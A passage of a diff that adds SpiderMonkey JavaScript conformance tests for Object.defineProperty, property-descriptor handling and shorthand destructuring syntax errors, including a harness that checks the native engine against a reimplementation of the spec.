+for (var obj of testSubjects) {
+ log = [];
+
+ // Object.defineProperty is one public method that performs a
+ // ToPropertyDescriptor call.
+ Object.defineProperty(obj, "x", new LoggingProxy({
+ enumerable: true,
+ configurable: true,
+ value: 3,
+ writable: true
+ }));
+
+ // It should have performed exactly these operations on the proxy, in this
+ // order. See ES6 rev 24 (2014 April 27) 6.2.4.5 ToPropertyDescriptor.
+ assertDeepEq(log, [
+ "has enumerable", "get enumerable",
+ "has configurable", "get configurable",
+ "has value", "get value",
+ "has writable", "get writable",
+ "has get",
+ "has set"
+ ]);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/defineProperty-setup.js b/js/src/tests/non262/object/defineProperty-setup.js
new file mode 100644
index 0000000000..da6fe8f496
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperty-setup.js
@@ -0,0 +1,1071 @@
+// |reftest| skip -- not a test.
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq("defineProperty" in Object, true);
+assertEq(Object.defineProperty.length, 3);
+
+/*
+ * Disable an assertion that is pathologically slow given the exhaustiveness of
+ * these tests.
+ */
+if (typeof enableStackWalkingAssertion === "function")
+ enableStackWalkingAssertion(false);
+
+if (!Object.prototype.toSource)
+{
+ Object.defineProperty(Object.prototype, "toSource",
+ {
+ value: function toSource()
+ {
+ if (this instanceof RegExp)
+ {
+ var v = "new RegExp(" + uneval(this.source);
+ var f = (this.multiline ? "m" : "") +
+ (this.global ? "g" : "") +
+ (this.ignoreCase ? "i" : "");
+ return v + (f ? ", '" + f + "'" : "") + ")";
+ }
+ return JSON.stringify(this);
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+if (!("uneval" in this))
+{
+ Object.defineProperty(this, "uneval",
+ {
+ value: function uneval(v)
+ {
+ if (v === null)
+ return "null";
+ if (typeof v === "object")
+ return v.toSource();
+ if (typeof v === "string")
+ {
+ v = JSON.stringify({v:v});
+ return v.substring(5, v.length - 1);
+ }
+ return "" + v;
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+
+// reimplemented for the benefit of engines which don't have this helper
+function assertEq(v1, v2, m)
+{
+ if (!SameValue(v1, v2))
+ {
+ throw "assertion failed: " +
+ "got " + uneval(v1) + ", expected " + uneval(v2) +
+ (m ? ": " + m : "");
+ }
+}
+
+function SameValue(v1, v2)
+{
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+}
+
+function PropertyDescriptor(pd)
+{
+ if (pd)
+ this.update(pd);
+}
+PropertyDescriptor.prototype.update = function update(pd)
+{
+ if ("get" in pd)
+ this.get = pd.get;
+ if ("set" in pd)
+ this.set = pd.set;
+ if ("configurable" in pd)
+ this.configurable = pd.configurable;
+ if ("writable" in pd)
+ this.writable = pd.writable;
+ if ("enumerable" in pd)
+ this.enumerable = pd.enumerable;
+ if ("value" in pd)
+ this.value = pd.value;
+};
+PropertyDescriptor.prototype.convertToDataDescriptor = function convertToDataDescriptor()
+{
+ delete this.get;
+ delete this.set;
+ this.writable = false;
+ this.value = undefined;
+};
+PropertyDescriptor.prototype.convertToAccessorDescriptor = function convertToAccessorDescriptor()
+{
+ delete this.writable;
+ delete this.value;
+ this.get = undefined;
+ this.set = undefined;
+};
+
+function compareDescriptors(d1, d2)
+{
+ if (d1 === undefined)
+ {
+ assertEq(d2, undefined, "non-descriptors");
+ return;
+ }
+ if (d2 === undefined)
+ {
+ assertEq(true, false, "descriptor-equality mismatch: " + uneval(d1) + ", " + uneval(d2));
+ return;
+ }
+
+ var props = ["value", "get", "set", "enumerable", "configurable", "writable"];
+ for (var i = 0, sz = props.length; i < sz; i++)
+ {
+ var p = props[i];
+ assertEq(p in d1, p in d2, p + " different in d1/d2");
+ if (p in d1)
+ assertEq(d1[p], d2[p], p);
+ }
+}
+
+function examine(desc, field, allowDefault)
+{
+ if (field in desc)
+ return desc[field];
+ assertEq(allowDefault, true, "reimplementation error");
+ switch (field)
+ {
+ case "value":
+ case "get":
+ case "set":
+ return undefined;
+ case "writable":
+ case "enumerable":
+ case "configurable":
+ return false;
+ default:
+ assertEq(true, false, "bad field name: " + field);
+ }
+}
+
+function IsAccessorDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("get" in desc) && !("set" in desc))
+ return false;
+ return true;
+}
+
+function IsDataDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("value" in desc) && !("writable" in desc))
+ return false;
+ return true;
+}
+
+function IsGenericDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!IsAccessorDescriptor(desc) && !IsDataDescriptor(desc))
+ return true;
+ return false;
+}
+
+
+
+function CustomObject()
+{
+ this.properties = {};
+ this.extensible = true;
+}
+CustomObject.prototype =
+{
+ _reject: function _reject(throwing, msg)
+ {
+ if (throwing)
+ throw new TypeError(msg + "; rejected!");
+ return false;
+ },
+ defineOwnProperty: function defineOwnProperty(propname, desc, throwing)
+ {
+ assertEq(typeof propname, "string", "non-string propname");
+
+ // Step 1.
+ var current = this.properties[propname];
+
+ // Step 2.
+ var extensible = this.extensible;
+
+ // Step 3.
+ if (current === undefined && !extensible)
+ return this._reject(throwing, "object not extensible");
+
+ // Step 4.
+ if (current === undefined && extensible)
+ {
+ var p;
+ // Step 4(a).
+ if (IsGenericDescriptor(desc) || IsDataDescriptor(desc))
+ {
+ p = new PropertyDescriptor();
+ p.value = examine(desc, "value", true);
+ p.writable = examine(desc, "writable", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+ // Step 4(b).
+ else
+ {
+ p = new PropertyDescriptor();
+ p.get = examine(desc, "get", true);
+ p.set = examine(desc, "set", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+
+ this.properties[propname] = p;
+
+ // Step 4(c).
+ return true;
+ }
+
+ // Step 5.
+ if (!("value" in desc) && !("get" in desc) && !("set" in desc) &&
+ !("writable" in desc) && !("enumerable" in desc) &&
+ !("configurable" in desc))
+ {
+ return;
+ }
+
+ // Step 6.
+ do
+ {
+ if ("value" in desc)
+ {
+ if (!("value" in current) || !SameValue(desc.value, current.value))
+ break;
+ }
+ if ("get" in desc)
+ {
+ if (!("get" in current) || !SameValue(desc.get, current.get))
+ break;
+ }
+ if ("set" in desc)
+ {
+ if (!("set" in current) || !SameValue(desc.set, current.set))
+ break;
+ }
+ if ("writable" in desc)
+ {
+ if (!("writable" in current) ||
+ !SameValue(desc.writable, current.writable))
+ {
+ break;
+ }
+ }
+ if ("enumerable" in desc)
+ {
+ if (!("enumerable" in current) ||
+ !SameValue(desc.enumerable, current.enumerable))
+ {
+ break;
+ }
+ }
+ if ("configurable" in desc)
+ {
+ if (!("configurable" in current) ||
+ !SameValue(desc.configurable, current.configurable))
+ {
+ break;
+ }
+ }
+
+ // all fields in desc also in current, with the same values
+ return true;
+ }
+ while (false);
+
+ // Step 7.
+ if (!examine(current, "configurable"))
+ {
+ if ("configurable" in desc && examine(desc, "configurable"))
+ return this._reject(throwing, "can't make configurable again");
+ if ("enumerable" in desc &&
+ examine(current, "enumerable") !== examine(desc, "enumerable"))
+ {
+ return this._reject(throwing, "can't change enumerability");
+ }
+ }
+
+ // Step 8.
+ if (IsGenericDescriptor(desc))
+ {
+ // do nothing
+ }
+ // Step 9.
+ else if (IsDataDescriptor(current) !== IsDataDescriptor(desc))
+ {
+ // Step 9(a).
+ if (!examine(current, "configurable"))
+ return this._reject(throwing, "can't change unconfigurable descriptor's type");
+ // Step 9(b).
+ if (IsDataDescriptor(current))
+ current.convertToAccessorDescriptor();
+ // Step 9(c).
+ else
+ current.convertToDataDescriptor();
+ }
+ // Step 10.
+ else if (IsDataDescriptor(current) && IsDataDescriptor(desc))
+ {
+ // Step 10(a)
+ if (!examine(current, "configurable"))
+ {
+ // Step 10(a).i.
+ if (!examine(current, "writable") &&
+ "writable" in desc && examine(desc, "writable"))
+ {
+ return this._reject(throwing, "can't make data property writable again");
+ }
+ // Step 10(a).ii.
+ if (!examine(current, "writable"))
+ {
+ if ("value" in desc &&
+ !SameValue(examine(desc, "value"), examine(current, "value")))
+ {
+ return this._reject(throwing, "can't change value if not writable");
+ }
+ }
+ }
+ // Step 10(b).
+ else
+ {
+ assertEq(examine(current, "configurable"), true,
+ "spec bug step 10(b)");
+ }
+ }
+ // Step 11.
+ else
+ {
+ assertEq(IsAccessorDescriptor(current) && IsAccessorDescriptor(desc),
+ true,
+ "spec bug");
+
+ // Step 11(a).
+ if (!examine(current, "configurable"))
+ {
+ // Step 11(a).i.
+ if ("set" in desc &&
+ !SameValue(examine(desc, "set"), examine(current, "set")))
+ {
+ return this._reject(throwing, "can't change setter if not configurable");
+ }
+ // Step 11(a).ii.
+ if ("get" in desc &&
+ !SameValue(examine(desc, "get"), examine(current, "get")))
+ {
+ return this._reject(throwing, "can't change getter if not configurable");
+ }
+ }
+ }
+
+ // Step 12.
+ current.update(desc);
+
+ // Step 13.
+ return true;
+ }
+};
+
+function IsCallable(v)
+{
+ return typeof v === "undefined" || typeof v === "function";
+}
+
+var NativeTest =
+ {
+ newObject: function newObject()
+ {
+ return {};
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ Object.defineProperty(obj, propname, propdesc);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ return Object.getOwnPropertyDescriptor(obj, propname);
+ }
+ };
+
+var ReimplTest =
+ {
+ newObject: function newObject()
+ {
+ return new CustomObject();
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ assertEq(obj instanceof CustomObject, true, "obj not instanceof CustomObject");
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ throw new TypeError("get/set and value/writable");
+ if (!IsCallable(propdesc.get))
+ throw new TypeError("get defined, uncallable");
+ if (!IsCallable(propdesc.set))
+ throw new TypeError("set defined, uncallable");
+ }
+ return obj.defineOwnProperty(propname, propdesc, true);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ if (!(propname in obj.properties))
+ return undefined;
+
+ return new PropertyDescriptor(obj.properties[propname]);
+ }
+ };
+
+var JSVAL_INT_MAX = Math.pow(2, 30) - 1;
+var JSVAL_INT_MIN = -Math.pow(2, 30);
+
+
+function isValidDescriptor(propdesc)
+{
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ return false;
+
+ // We permit null here simply because this test's author believes the
+ // implementation may sometime be susceptible to making mistakes in this
+ // regard and would prefer to be cautious.
+ if (propdesc.get !== null && propdesc.get !== undefined && !IsCallable(propdesc.get))
+ return false;
+ if (propdesc.set !== null && propdesc.set !== undefined && !IsCallable(propdesc.set))
+ return false;
+ }
+
+ return true;
+}
+
+
+var OMIT = {};
+var VALUES =
+ [-Infinity, JSVAL_INT_MIN, -0, +0, 1.5, JSVAL_INT_MAX, Infinity,
+ NaN, "foo", "bar", null, undefined, true, false, {}, /a/, OMIT];
+var GETS =
+ [undefined, function get1() { return 1; }, function get2() { return 2; },
+ null, 5, OMIT];
+var SETS =
+ [undefined, function set1() { return 1; }, function set2() { return 2; },
+ null, 5, OMIT];
+var ENUMERABLES = [true, false, OMIT];
+var CONFIGURABLES = [true, false, OMIT];
+var WRITABLES = [true, false, OMIT];
+
+function mapTestDescriptors(filter)
+{
+ var descs = [];
+ var desc = {};
+
+ function put(field, value)
+ {
+ if (value !== OMIT)
+ desc[field] = value;
+ }
+
+ VALUES.forEach(function(value)
+ {
+ GETS.forEach(function(get)
+ {
+ SETS.forEach(function(set)
+ {
+ ENUMERABLES.forEach(function(enumerable)
+ {
+ CONFIGURABLES.forEach(function(configurable)
+ {
+ WRITABLES.forEach(function(writable)
+ {
+ desc = {};
+ put("value", value);
+ put("get", get);
+ put("set", set);
+ put("enumerable", enumerable);
+ put("configurable", configurable);
+ put("writable", writable);
+ if (filter(desc))
+ descs.push(desc);
+ });
+ });
+ });
+ });
+ });
+ });
+
+ return descs;
+}
+
+var ALL_DESCRIPTORS = mapTestDescriptors(function(d) { return true; });
+var VALID_DESCRIPTORS = mapTestDescriptors(isValidDescriptor);
+
+function TestRunner()
+{
+ this._logLines = [];
+}
+TestRunner.prototype =
+ {
+ // MAIN METHODS
+
+ runFunctionLengthTests: function runFunctionLengthTests()
+ {
+ var self = this;
+ function functionLengthTests()
+ {
+ self._fullFunctionLengthTests(() => Function("one", "/* body */"), 1);
+ self._fullFunctionLengthTests(() => function(one, two, three=null) { }, 2);
+ self._fullFunctionLengthTests(() => (one, two, ...etc) => 0, 2);
+ self._fullFunctionLengthTests(() => ({method(){}}.method), 0);
+ self._fullFunctionLengthTests(() => Object.getOwnPropertyDescriptor({set x(v){}}, "x").set, 1);
+ }
+
+ this._runTestSet(functionLengthTests, "Function length tests completed!");
+ },
+
+ runNotPresentTests: function runNotPresentTests()
+ {
+ var self = this;
+ function notPresentTests()
+ {
+ print("Running not-present tests now...");
+
+ for (var i = 0, sz = ALL_DESCRIPTORS.length; i < sz; i++)
+ self._runSingleNotPresentTest(ALL_DESCRIPTORS[i]);
+ };
+
+ this._runTestSet(notPresentTests, "Not-present length tests completed!");
+ },
+
+ runPropertyPresentTestsFraction:
+ function runPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+ function propertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ }
+
+ this._runTestSet(propertyPresentTests,
+ "Property-present fraction " + part + " of " + parts +
+ " completed!");
+ },
+
+ runNonTerminalPropertyPresentTestsFraction:
+ function runNonTerminalPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * A plain old property to define on the object before redefining the
+ * originally-added property, to test redefinition of a property that's
+ * not also lastProperty. NB: we could loop over every possible
+ * descriptor here if we wanted, even try adding more than one, but we'd
+ * hit cubic complexity and worse, and SpiderMonkey only distinguishes by
+ * the mere presence of the middle property, not its precise details.
+ */
+ var middleDefines =
+ [{
+ property: "middle",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ }];
+
+ function nonTerminalPropertyPresentTests()
+ {
+ print("Running non-terminal already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(nonTerminalPropertyPresentTests,
+ "Non-terminal property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
+ runDictionaryPropertyPresentTestsFraction:
+ function runDictionaryPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * Add and readd properties such that the scope for the object is in
+ * dictionary mode.
+ */
+ var middleDefines =
+ [
+ {
+ property: "mid1",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid2",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid1",
+ descriptor:
+ { get: function g() { }, set: function s(v){}, configurable: false,
+ enumerable: true }
+ },
+ ];
+
+ function dictionaryPropertyPresentTests()
+ {
+ print("Running dictionary already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(dictionaryPropertyPresentTests,
+ "Dictionary property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
+
+ // HELPERS
+
+ runPropertyPresentTests: function runPropertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ this._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ },
+ _runTestSet: function _runTestSet(fun, completeMessage)
+ {
+ try
+ {
+ fun();
+
+ print(completeMessage);
+ }
+ catch (e)
+ {
+ print("ERROR, EXITING (line " + (e.lineNumber || -1) + "): " + e);
+ throw e;
+ }
+ finally
+ {
+ this._reportAllErrors();
+ }
+ },
+ _reportAllErrors: function _reportAllErrors()
+ {
+ var errorCount = this._logLines.length;
+ print("Full accumulated number of errors: " + errorCount);
+ if (errorCount > 0)
+ throw errorCount + " errors detected, FAIL";
+ },
+ _fullFunctionLengthTests: function _fullFunctionLengthTests(funFactory, len)
+ {
+ print("Running Function.length (" + funFactory + ") tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var desc = VALID_DESCRIPTORS[i];
+ this._runSingleFunctionLengthTest(funFactory(), len, desc);
+ }
+ },
+ _log: function _log(v)
+ {
+ var m = "" + v;
+ print(m);
+ this._logLines.push(m);
+ },
+ _runSingleNotPresentTest: function _runSingleNotPresentTest(desc)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e)
+ {
+ this._log("Reimpl threw defining new descriptor " + desc.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for new " +
+ "property defined with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ },
+ _runSinglePropertyPresentTest:
+ function _runSinglePropertyPresentTest(old, add, middleDefines)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", old);
+ }
+ catch (e)
+ {
+ if (!SameValue(NativeTest.getDescriptor(nativeObj, "foo"), undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource());
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e2)
+ {
+ if (!SameValue(ReimplTest.getDescriptor(reimplObj, "foo"),
+ undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource() +
+ "; reimplObj: " + uneval(reimplObj));
+ }
+
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Different errors defining bad property descriptor: " +
+ old.toSource() + "; native threw " + e + ", reimpl " +
+ "threw " + e2);
+ }
+
+ return;
+ }
+
+ this._log("Difference defining a property with descriptor " +
+ old.toSource() + ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior when adding descriptor " + add.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ // Now add (or even readd) however many properties were specified between
+ // the original property to add and the new one, to test redefining
+ // non-last-properties and properties in scopes in dictionary mode.
+ for (var i = 0, sz = middleDefines.length; i < sz; i++)
+ {
+ var middle = middleDefines[i];
+ var prop = middle.property;
+ var desc = middle.descriptor;
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, prop, desc);
+ ReimplTest.defineProperty(reimplObj, prop, desc);
+ }
+ catch (e)
+ {
+ this._log("failure defining middle descriptor: " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ // Sanity check
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, prop);
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, prop);
+
+ compareDescriptors(nativeDesc, reimplDesc);
+ compareDescriptors(nativeDesc, desc);
+ }
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", add);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for descriptor " + add.toSource() +
+ " overwriting descriptor " + old.toSource() + "; " +
+ "native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for added descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for readded descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; native readd didn't " +
+ "throw, reimpl add did, error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for readded " +
+ "property defined with descriptor " + add.toSource() + "; " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+ },
+ _runSingleFunctionLengthTest: function _runSingleFunctionLengthTest(fun, len, desc)
+ {
+ var nativeObj = fun;
+ var reimplObj = ReimplTest.newObject();
+ ReimplTest.defineProperty(reimplObj, "length",
+ {
+ value: len,
+ enumerable: false,
+ configurable: true,
+ writable: false
+ });
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "length", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior defining fun.length with " + desc.toSource() +
+ "; native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing Function.length native/reimpl " +
+ "behavior for descriptor " + desc.toSource() +
+ ", native impl threw error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e)
+ {
+ this._log("Difference defining new Function.length descriptor: impl " +
+ "succeeded, reimpl threw for descriptor " +
+ desc.toSource() + ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "length");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "length");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for " +
+ "Function.length with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ }
+ };
+
+function runDictionaryPropertyPresentTestsFraction(PART, PARTS)
+{
+ var testfile =
+ '15.2.3.6-dictionary-redefinition-' + PART + '-of-' + PARTS + '.js';
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): dictionary redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+ try
+ {
+ new TestRunner().runDictionaryPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
+
+function runNonTerminalPropertyPresentTestsFraction(PART, PARTS)
+{
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): middle redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ try
+ {
+ new TestRunner().runNonTerminalPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ /******************************************************************************/
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
diff --git a/js/src/tests/non262/object/destructuring-shorthand-defaults.js b/js/src/tests/non262/object/destructuring-shorthand-defaults.js
new file mode 100644
index 0000000000..3ca240e0b7
--- /dev/null
+++ b/js/src/tests/non262/object/destructuring-shorthand-defaults.js
@@ -0,0 +1,127 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure that the syntax used in shorthand destructuring with defaults
+// e.g. |{x=1, y=2} = {}| properly raises a syntax error within an object
+// literal. As per ES6 12.2.6 Object Initializer, "NOTE 3."
+
+const SYNTAX_ERROR_STMTS = [
+ // expressions
+ "({x={}={}}),",
+ "({y={x={}={}={}={}={}={}={}={}}={}}),",
+ "({a=1, b=2, c=3, x=({}={})}),",
+ "({x=1, y={z={1}}})",
+ "({x=1} = {y=1});",
+ "({x: y={z=1}}={})",
+ "({x=1}),",
+ "({z={x=1}})=>{};",
+ "({x = ({y=1}) => y})",
+ "(({x=1})) => x",
+ "({e=[]}==(;",
+ "({x=1}[-1]);",
+ "({x=y}[-9])",
+ "({x=y}.x.z[-9])",
+ "({x=y}`${-9}`)",
+ "(new {x=y}(-9))",
+ "new {x=1}",
+ "new {x=1}={}",
+ "typeof {x=1}",
+ "typeof ({x=1})",
+ "({x=y, [-9]:0})",
+ "((({w = x} >(-9)",
+ "++({x=1})",
+ "--{x=1}",
+ "!{x=1}={}",
+ "delete {x=1}",
+ "delete ({x=1})",
+ "delete {x=1} = {}",
+ "({x=1}.abc)",
+ "x > (0, {a = b} );",
+ // declarations
+ "var x = 0 + {a=1} = {}",
+ "let o = {x=1};",
+ "var j = {x=1};",
+ "var j = {x={y=1}}={};",
+ "const z = {x=1};",
+ "const z = {x={y=1}}={};",
+ "const {x=1};",
+ "const {x={y=33}}={};",
+ "var {x=1};",
+ "let {x=1};",
+ "let x, y, {z=1}={}, {w=2}, {e=3};",
+ // array initialization
+ "[{x=1, y = ({z=2} = {})}];",
+ // try/catch
+ "try {throw 'a';} catch ({x={y=1}}) {}",
+ // if/else
+ "if ({k: 1, x={y=2}={}}) {}",
+ "if (false) {} else if (true) { ({x=1}) }",
+ // switch
+ "switch ('c') { case 'c': ({x=1}); }",
+ // for
+ "for ({x=1}; 1;) {1}",
+ "for ({x={y=2}}; 1;) {1}",
+ "for (var x = 0; x < 2; x++) { ({x=1, y=2}) }",
+ "for (let x=1;{x=1};){}",
+ "for (let x=1;{x={y=2}};){}",
+ "for (let x=1;1;{x=1}){}",
+ "for (let x=1;1;{x={y=2}}){}",
+ // while
+ "while ({x=1}) {1};",
+ "while ({x={y=2}}={}) {1};",
+ // with
+ "with ({x=1}) {};",
+ "with ({x={y=3}={}}) {};",
+ "with (Math) { ({x=1}) };",
+ // ternary
+ "true ? {x=1} : 1;",
+ "false ? 1 : {x=1};",
+ "{x=1} ? 2 : 3;",
+ // assignment
+ "({x} += {});",
+ "({x = 1}) = {x: 2};",
+]
+
+for (var stmt of SYNTAX_ERROR_STMTS) {
+ assertThrowsInstanceOf(() => {
+ Function(stmt);
+ }, SyntaxError);
+}
+
+// A few tricky but acceptable cases:
+// see https://bugzilla.mozilla.org/show_bug.cgi?id=932080#c2
+
+assertEq((({a = 0}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({a: 1}), 1);
+
+{
+ let x, y;
+ ({x=1} = {});
+ assertEq(x, 1);
+ ({x=1} = {x: 4});
+ assertEq(x, 4);
+ ({x=1, y=2} = {})
+ assertEq(x, 1);
+ assertEq(y, 2);
+}
+
+{
+ let {x={i=1, j=2}={}}={};
+ assertDeepEq(x, ({}));
+ assertEq(i, 1);
+ assertEq(j, 2);
+}
+
+// Default destructuring values, which are variables, should be defined
+// within closures (Bug 1255167).
+{
